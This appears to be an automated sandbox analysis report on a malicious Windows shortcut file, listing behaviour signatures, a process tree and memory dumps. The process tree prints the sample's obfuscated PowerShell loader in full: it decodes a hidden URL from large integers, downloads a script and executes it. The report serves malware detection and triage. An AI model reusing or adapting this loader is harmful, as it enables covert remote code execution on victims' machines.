Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/07/2026, 11:41

General

  • Target
    photov_210125597977.lnk
  • Size 2KB
  • Sample260729-ntwvaashqa
  • SHA256 00f4d37b0bba4d16379ca0433cba6c2ae7d5774b9f9df4dd6b5d12cce4d31255
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_210125597977.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4620
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$vtjn=12;$q53vkmj=[bigint]::Parse('6922190758134961472035270747305974721417817902095815');$hm1x65efw=[bigint]::Parse('6922190758134960878868180289207007526360548753259102');$q53vkmj=$q53vkmj-$hm1x65efw;$lv_htitcms=@();while($q53vkmj -gt 0){$lv_htitcms+=[char][int]([bigint]::Remainder($q53vkmj,256));$q53vkmj=[bigint]::Divide($q53vkmj,256)};.([scriptblock]::Create((irm(-join$lv_htitcms))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Minimized -c "$vtjn=12;$q53vkmj=[bigint]::Parse('6922190758134961472035270747305974721417817902095815');$hm1x65efw=[bigint]::Parse('6922190758134960878868180289207007526360548753259102');$q53vkmj=$q53vkmj-$hm1x65efw;$lv_htitcms=@();while($q53vkmj -gt 0){$lv_htitcms+=[char][int]([bigint]::Remainder($q53vkmj,256));$q53vkmj=[bigint]::Divide($q53vkmj,256)};.([scriptblock]::Create((irm(-join$lv_htitcms))))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2368

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_11w2qupr.01j.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_11w2qupr.01j.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2368-0-0x0000027EFC4D0000-0x0000027EFC4E0000-memory.dmp

        memory/2368-1-0x0000027EFC4D0000-0x0000027EFC4E0000-memory.dmp

        memory/2368-2-0x0000027EFC4A0000-0x0000027EFC4C2000-memory.dmp

        memory/2368-10-0x0000027EFC4D0000-0x0000027EFC4E0000-memory.dmp

        memory/2368-11-0x0000027EFC4D0000-0x0000027EFC4E0000-memory.dmp

        memory/2368-13-0x0000027EFC4D0000-0x0000027EFC4E0000-memory.dmp

        memory/2368-12-0x0000027EFC4D0000-0x0000027EFC4E0000-memory.dmp